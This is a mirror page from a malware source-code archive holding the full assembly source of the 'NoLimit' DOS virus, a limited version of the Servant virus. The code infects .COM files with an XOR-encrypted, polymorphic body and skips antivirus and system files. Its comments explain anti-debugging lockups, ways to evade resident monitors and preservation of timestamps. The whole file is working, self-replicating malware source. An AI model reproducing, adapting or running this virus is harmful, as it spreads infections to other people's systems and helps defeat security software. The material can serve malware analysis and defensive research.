mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
267 lines
12 KiB
NASM
267 lines
12 KiB
NASM
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; NoLimit Virus by John Tardy / TridenT
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;
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; Limited version of Servant Virus
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Version Equ 1 ; Initial release.
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Org 0h ; Creates a .BIN file.
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; This piece of code is located at the begin of the file
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Start: Jmp MainVir ; Jump to the main virus.
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Db '*' ; Infection marker.
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; This will be appended to the victim
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MainVir: Lea Si,Decr ; This is the decryptor, which
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DecrOfs Equ $-2 ; is mutated from the main
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Mov Cx,DecrLen ; virus. It uses a simple xor
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Decrypt: Xor B [Si],0 ; algorithm. It uses three
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DecVal Equ $-1 ; different index regs, Si, Di
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Incer: Inc Si ; or Bx. The Xor OpCode can be
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LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
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MainLen Equ $-Mainvir ; LoopNz.
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; From here everything is encrypted
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Decr: Call On1 ; Get Offset of the appended
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On1: Pop BP ; virus by pushing the call on
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Sub BP,On1 ; the stack and retrieve the
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; address.
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Mov W TrapIt[Bp],KillDebug ; This routine restores the
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Lea Si,OrgPrg[Bp] ; beginning of the original
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TrapIt Equ $-2 ; file, except when run from
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Mov Di,100h ; a debugger. It will then
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Push Di ; put the routine at
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Push Ax ; KillDebug in place of that,
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Movsw ; this locking the system
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Movsw ; after infection and
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Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
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Mov W TrapIt[Bp],OrgPrg ;
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Mov Ah,19h ; We don't want to infect
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Int 21h ; programs on floppy drive,
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Cmp Al,2 ; we then go to NoHD.
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Jb NoHD ;
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Mov Ah,1ah ; Use a new DTA.
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Mov Dx,0fd00h ;
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Int 21h ;
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In Al,21h ; This makes DOS DEBUG to
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Or Al,2 ; hang and thus making
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Out 21h,Al ; beginning virus-researchers
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Xor Al,2 ; a hard time.
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Out 21h,Al ;
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Mov Ah,4eh ; Search a .COM file in the
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Search: Lea Dx,FileSpec[BP] ; current directory.
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Xor Cx,Cx ;
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Int 21h ;
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Jnc Found ; If found, goto found,
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NoHD: Jmp Ready ; else goto ready.
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KillDebug: Cli ; The routine that will be
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Jmp KillDebug ; activated by the antidebug
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; part.
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Db '[NoLimit] John Tardy / Trident '
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; Here follows a table of filenames to avoid with infecting.
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Tabel Db 'CA' ; Catcher (Gobbler).
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Db 'VA' ; Validate (McAfee).
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Db 'GU' ; Guard (Dr. Solomon).
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Db 'CO' ; Command.Com (Microsoft).
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Db '4D' ; 4Dos (JP Software).
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Db 'VS' ; VSafe (CPav).
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Db 'TB' ; TbDel (Esass).
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TabLen Equ $-Tabel
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Found: Mov Bx,[0fd1eh] ; This routine checks if
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Lea Si,Tabel[Bp] ; the candidate file begins
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Mov Cx,TabLen/2 ; with the chars in the table
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ChkNam: Lodsw ; above. If so, it goes to
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Cmp Ax,Bx ; SearchNext.
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Je SearchNext ;
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Loop ChkNam ;
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mov dx,0fd1eh ; Open the file with only
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Mov Ax,3d00h ; read access.
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Int 21h ;
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Xchg Ax,Bx ; Put Filehandle to BX.
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Mov Ah,45h ; Duplicate Filehandle and
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Int 21h ; use the new one (confuses
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Xchg Ax,Bx ; some resident monitoring
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; software (TBFILE)).
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mov Ax,1220h ; This is a tricky routine
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push bx ; used to get the offset
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int 2fh ; to the File Handle Table,
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mov bl,es:[di] ; where we can change
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Mov Ax,1216h ; directly some things.
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int 2fh ;
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pop bx ;
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mov ds,es ;
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mov byte ptr [di+2],2 ; File now open with write
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; access.
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mov al,b [di+4] ; Store old file attributes
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mov b [di+4],0 ; and clear it.
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push ax ;
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push ds ; Store FHT on the stack.
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push di ;
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mov ds,cs ; Restore old Ds and Es
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mov es,cs ; (with .COM equal to Cs).
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Mov Ah,3fh ; Read the first 4 bytes
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Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
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Mov Cx,4 ; (the call remember?)).
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Int 21h ;
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Mov Ax,OrgPrg[BP] ; Check if it is a renamed
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Cmp Ax,'ZM' ; .EXE file. If so, goto
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Je ExeFile ; ExeFile.
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Cmp Ax,'MZ' ;
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Je ExeFile ;
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Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
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Jne Infect ; If not so, goto Infect.
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ExeFile: Call Close ; Call file close routine.
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SearchNext: Mov Ah,4fh ; And search the next victim.
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Jmp Search ;
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Infect: Mov Ax,4202h ; Jump to EOF.
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Cwd ;
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Xor Cx,Cx ;
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Int 21h ;
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Sub Ax,3 ; Calculate the Jump and the
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Mov CallPtr[BP+1],Ax ; decryptor offset values.
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Add Ax,(Offset Decr+0ffh) ;
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Mov DecrOfs[Bp],Ax ;
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Call EncryptIt ; Call Encryption engine.
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Mov Ah,40h ; Write the decoder to the
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Lea Dx,MainVir[Bp] ; end of the file.
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Mov Cx,MainLen ;
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Int 21h ;
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Mov Ah,40h ; And append the encrypted
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Lea Dx,EndOfVir[BP] ; main virus body to it
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Mov Cx,DecrLen ; also.
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Int 21h ;
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Mov Ax,4200h ; Jump to the beginning of
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Cwd ; the file.
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Xor Cx,Cx ;
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Int 21h ;
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Mov Ah,40h ; And write the jump to the
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Lea Dx,CallPtr[BP] ; over the first 4 bytes of
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Mov Cx,4 ; the file.
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Int 21h ;
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Call Close ; Call close routine.
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Ready: Mov Ah,1ah ; Restore the DTA.
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Mov Dx,80h ;
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Int 21h ;
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Pop Ax ; Restore error register.
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Ret ; Return to host (at 100h).
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Close: Pop Si
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pop di ; Restore FHT offset again.
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pop ds ;
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or b [di+6],40h ; Do not change file date/time
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; stamps.
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pop ax ; Restore file attributes.
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mov b [di+4],al ;
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Mov Ah,3eh ; Close file.
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Int 21h ;
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mov ds,cs ; Restore Ds segment.
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Push Si
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Ret
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CallPtr Db 0e9h,0,0 ; Here the jump is generated.
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FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
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OrgPrg: Int 20h ; Original 4 bytes of the
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Nop ; host program.
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Nop ;
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EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
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Mov Ds,Ax ; random value).
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Mov Ah,B Ds:[046ch] ;
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Mov Ds,Cs ; If Ah is zero, goto
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Cmp Ah,0 ; EncryptIt
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Je EncryptIt ;
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GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
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Lea Si,Decr[Bp] ; to the address just at the
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Lea Di,EndOfVir[Bp] ; end of the virus.
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Mov Cx,DecrLen ;
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Encrypt: Lodsb ;
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Xor Al,Ah ;
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Stosb ;
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Loop Encrypt ;
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Xor B Decrypt[Bp],2 ; Make the Xor variable.
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Test Ah,4 ; Make the Loop variable
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Jc NoGarble ; (xor works like a switch
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Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
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Xchg Ah,Al ; Read the different
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And Ax,0003h ; Si, Di, Bx instructions
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Mov Si,Ax ; from the table and store
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Add Si,PolyTable ; them into the decrytor, thus
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Add Si,Bp ; making it recognizable only
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Lodsb ; at 4 bytes. (or nibble
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Mov B MainVir[Bp],Al ; checking is usable).
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Add Si,3 ;
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Lodsb ;
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Mov B Decrypt[Bp+1],Al ;
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Add Si,3 ;
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Lodsb ;
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Mov B Incer[Bp],Al ;
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NoGarble: Ret ; Return to called
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; Table with functions for polymorphing
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PolyTable Equ $
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Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
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Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
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Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
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DB Version ; Virus version number
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DecrLen Equ $-Decr
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EndOfVir Equ $
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